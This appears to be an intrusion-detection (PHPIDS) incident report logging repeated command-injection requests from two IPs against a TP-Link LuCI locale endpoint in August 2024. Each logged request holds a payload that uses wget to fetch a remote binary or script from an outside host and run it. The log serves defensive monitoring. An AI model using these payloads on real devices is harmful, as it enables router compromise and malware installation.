Summary: 9 incidents discovered from 2 clients

	154.213.185.140 | 4 incidents | impact ∑: 108	attacks only
	Description: A targeted scan yesterday. A total of 4 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 18 Aug 2024 02:42:38 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://94.156.66.26/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 771 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 18 Aug 2024 02:42:38 +0200 \x16\x03\x01 400 408 - - 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 18 Aug 2024 13:47:41 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://94.156.66.26/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 771 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 18 Aug 2024 13:47:41 +0200 \x16\x03\x01 400 408 - - 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 18 Aug 2024 15:22:52 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://94.156.66.26/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 771 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 18 Aug 2024 15:22:52 +0200 \x16\x03\x01 400 408 - - 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 18 Aug 2024 20:52:35 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://94.156.66.26/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 771 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 18 Aug 2024 20:52:35 +0200 \x16\x03\x01 400 408 - -

	185.224.128.83 | 5 incidents | impact ∑: 75	attacks only
	Description: A targeted scan yesterday. A total of 5 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi - 185.224.128.83 - - Sun, 18 Aug 2024 04:16:12 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 663 - Go-http-client/1.1 0 none - 185.224.128.83 - - Sun, 18 Aug 2024 04:16:12 +0200 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Sun, 18 Aug 2024 08:22:35 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 663 - Go-http-client/1.1 0 none - 185.224.128.83 - - Sun, 18 Aug 2024 08:22:51 +0200 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Sun, 18 Aug 2024 11:47:15 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 663 - Go-http-client/1.1 0 none - 185.224.128.83 - - Sun, 18 Aug 2024 11:47:15 +0200 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Sun, 18 Aug 2024 16:08:05 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 663 - Go-http-client/1.1 0 none - 185.224.128.83 - - Sun, 18 Aug 2024 16:08:05 +0200 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Sun, 18 Aug 2024 21:32:11 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.196/t|sh;`) HTTP/1.1 302 663 - Go-http-client/1.1 0 none - 185.224.128.83 - - Sun, 18 Aug 2024 21:32:13 +0200 \x16\x03\x01 400 408 - -